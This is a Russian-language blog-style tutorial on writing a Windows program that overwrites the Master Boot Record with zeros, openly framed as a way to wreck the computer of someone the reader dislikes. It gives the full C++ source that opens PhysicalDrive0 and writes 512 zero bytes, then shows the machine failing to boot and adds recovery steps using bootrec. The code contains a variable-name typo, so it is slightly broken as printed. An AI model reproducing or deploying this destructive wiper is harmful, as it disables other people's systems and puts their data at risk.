Сегодня займемся кодингом. А именно – будем создавать программу для сноса MBR своему недоброжелателю.
Я уверен в знаниях любого из вас, но лучше поясню... MBR – главная загрузочная запись. Функция MBR – «переход» в тот раздел жесткого диска, с которого следует исполнять «дальнейший код» (обычно – загружать ОС). На «стадии MBR» происходит выбор раздела диска, загрузка кода ОС. В процессе запуска компьютера, после окончания начального теста (Power-on self-test – POST), базовая система ввода-вывода (BIOS) загружает «код MBR» в оперативную память и передает управление находящемуся в MBR загрузочному коду.
К слову, MBR можно легко восстановить. В конце статьи покажу, как.
Итак, приступим. Вот код, который нам нужен:
#include <windows.h>
#include <iostream>
using namespace std;
#define MBR_SIZE 512
int main() {
DWORD write;
char mbrData[MBR_SIZE]; //размер mbr - 512 байт. Они будут нами перезаписаны.
ZeroMemory(&mbrData, (sizeof mbrData)); //заполняем блок памяти нулями
HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
/* PhysicalDrive0 тут ноль а не буква "0". Мы открываем на запись и чтение наш раздел с MBR. Ниже записываем все говно в MBR */
if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &wrire, NULL) == TRUE) {
cout << "MBR is over written!" << endl;
Sleep(5000);
ExitProcess(0);
} else {
cout << "Failed" << endl;
Sleep(5000);
ExitProcess(0);
}
CloseHandle(MasterBootRecord);
return EXIT_SUCCESS;
}
Скомпилили и запускаем:
Далеко не самое страшное окно. Однако перезапускаемся и смотрим на результат:
Видим, что система не может найти раздел MBR. Оно и не удивительно, так как там все записано нулями. Из-за того, что невозможно считать информацию из первых 512 байт харда, система забивает большой и толстый болт и отказывается запускаться.
Автоматический способ восстановления
Первое что надо – создать загрузочную флешку с той виндой, которая стоит у вас. Запускаемся с флешки. После этого, в зависимости от используемого дистрибутива, вам может быть предложено включить сетевые возможности (не потребуются), переназначить буквы дисков (как хотите) и выбрать язык. Следующим пунктом будет идти выбор Windows 7, загрузчик которой следует восстановить:
Восстанавливаем запуск и радуемся.
Ручной способ восстановления
Грузимся в режиме командной строки и поочередно выполняем:
bootrec /fixmbr
bootrec /fixboot
Эти команды заново запишут раздел жесткого диска. Готово!